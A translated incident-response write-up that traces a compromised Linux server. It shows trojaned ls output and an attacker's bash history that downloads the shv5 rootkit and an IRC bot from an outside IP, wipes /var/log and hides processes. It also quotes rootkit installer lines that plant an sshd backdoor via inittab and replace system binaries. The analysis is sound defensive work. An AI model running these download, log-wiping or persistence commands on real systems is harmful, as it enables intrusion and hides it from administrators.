原文出处: lars strand 译文出处: freebuf

最近有个朋友让我去帮他看一下他的linux服务器.说是apache启动不了,有很多诡异的情况.后来证明绝不是apache启动不了这么简单.

登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:

1
2
3
lars@server1:~$ ls
ls: invalid option -- h
Try `ls--help' formoreinformation.

为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了.

1
2
3
4
5
6
lars@server1:~$ aliasls
aliasls='ls -sh --color=auto'
lars@server1:~$ unaliasls
lars@server1:~$ ls
backup
lars@server1:~$

虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题.

1
2
3
4
5
6
lars@server1:~$ sudo/etc/init.d/apache2start
Password:
* Starting apache 2.0 web server...
(2): apache2: could not openerror log file/var/log/apache2/error.log.
Unable to openlogs
...fail!

纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题.

1
2
3
4
5
6
7
8
9
lars@server1:~$ sudo-i
Password:
root@server1:~# ls
ls: unrecognized prefix: do
ls: unparsable value forLS_COLORS environment variable
total 44
4 . 4 .bashrc 4 .ssh
4 .. 4 .lesshst 8 .viminfo
8 .bash_history 4 .profile 4 .vimrc

很不幸的发现,”ls”又出问题了.同样,用”alias”命令:

1
2
3
4
5
root@server1:~# alias ls
aliasls='ls -sa --color=auto'
root@server1:~# unalias ls
root@server1:~# ls
root@server1:~#

这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
root@server1:~# cat -n .bash_history
...
340 w
341 cd/var
342 wget http://83.19.148.250/~matys/pliki/shv5.tar.gz
343 tar-zxf shv5.tar.gz
344 rm-rf shv5.tar.gz
345 mvshv5 .x
346 cd.x
347 ./setupzibi.joe.149 54098
348 passwd
349 passwd
350 psaux
351 crontab-l
352 cat/etc/issue
353 cat/etc/passwd
354 w
355 who
356 cd/usr/lib/libsh
357 ls
358 hide +
359 chmod+x hide
360 hide +
361 ./hide+
362 cd/var/.x
363 mkdirpsotnic
364 cdpsotnic
365 wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
366 tar-zxf psotnic0.2.5.tar.gz
367 rm-rf psotnic0.2.5.tar.gz
368 ls
369 mvpsotnic-0.2.5-linux-static-ipv6 synscan
370 ./synscan
371 viconf
372 viconf1
373 mvsynscan smbd
374 smbd -c conf
375 ls
376 psaux
377 ls
378 ./smbd-c conf
379 ./smbd-c conf1
380 ./smbdconf
381 ./smbdconf1
382 ./smbd-a conf conf1
383 rm-rf conf.dec
384 rm-rf conf1.dec
385 cd/usr/lib/libsh
386 ./hide+
387 exit
...
425 sshftp@62.101.251.166
426 w
427 ls
428 ls
429 cd/var/.x
430 ls
431 cdpsotnic/
432 ls
433 rm-rf /var/log/*
434 exit
435 ls
436 cd/var/.x/psotnic/
437 ls
438 viconf2
439 ./smbd-c conf2
440 ./smbdconf2
441 ./smbd-a conf conf1 conf2
442 rm-rf conf2.dec
443 cd..
444 ls
445 cd/usr/lib/libsh
446 hide +
447 ./hide+
448 exit
449 psaux
450 cd/var/.x
451 ls
452 ls
453 cdpsotnic/
454 ls
455 catpid.MastaH
456 kill-9 2030
457 ./synscan-a conf conf1
458 ./smbd-a conf conf1
459 cd/usr/lib/libsh
460 ./hide+

Woht!这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵.

通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@server1:/var/.x# file setup
setup: Bourne-Again shell script text executable
root@server1:/var/.x# wc -l setup
825 setup
root@server1:/var/.x# head -17 setup
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003
#
# greetz to:
#
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
# C00L|0, GolDenLord, Spike, zion ...
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
# [*] And all others who diserve to be here but i forgot
# [*] them at the moment !
#
# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)

1
2
3
4
5
6
7
8
9
10
11
12
13
mv$SSHDIR/sshd/sbin/ttyload
chmoda+xr /sbin/ttyload
chmodo-w /sbin/ttyload
touch-acmr /bin/ls/sbin/ttyload
chattr +isa /sbin/ttyload
kill-9 `pidof ttyload` >/dev/null2>&1
....
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat/etc/inittab|grep-vttyload|grep-vgetty > /tmp/.init1
cat/etc/inittab|grepgetty > /tmp/.init2
echo"# Loading standard ttys">> /tmp/.init1
echo"0:2345:once:/usr/sbin/ttyload">> /tmp/.init1

它也替换了一些linux的标准命令.

1
2
3
4
5
6
7
8
9
10
# Backdoor ps/top/du/ls/netstat/etc..
cd$BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir$BACKUP
...
# ls ...
chattr -isa /bin/ls
cp/bin/ls$BACKUP
mv-f ls/bin/ls
chattr +isa /bin/ls

这样子就可以解释为什么”ls”命令输出那么奇怪了.

“.backup”文件夹保存了被替换之前的命令程序.

1
2
3
4
5
6
7
8
9
10
root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
total 552
-rwxr-xr-x 1 root root 126276 Dec 24 22:58 find
-rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig
-rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls
-rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum
-rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat
-rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps
-rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree
-rwxr-xr-x 1 root root 50180 Dec 24 22:58 top

看了一下时间戳,居然是在圣诞节.

很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:

1
2
3
4
5
6
7
8
9
10
11
root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/.backup/ls
0a07cf554c1a74ad974416f60916b78d /bin/ls
root@server1:~# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), forGNU/Linux2.0.0, dynamically linked
(uses shared libs), forGNU/Linux2.0.0, stripped
root@server1:~# file /usr/lib/libsh/.backup/ls
/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), forGNU/Linux2.6.0, dynamically linked
(uses shared libs), forGNU/Linux2.6.0, stripped

这个rootkit(“sh5.tar.gz”)是从下面的地址下载的.

1
2
root@server1:~# dig +short -x 83.19.148.250
4lo.bydg.pl.

这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.

这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)

一次服务器被入侵后的分析(1)_服务器被入侵

所以”zibi.joe.149″是后门的密码,”54098″是端口号.这是一个来自ssh.com的就版本的sshd.测试截图如下:

一次服务器被入侵后的分析(1)_服务器被入侵_02

安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的.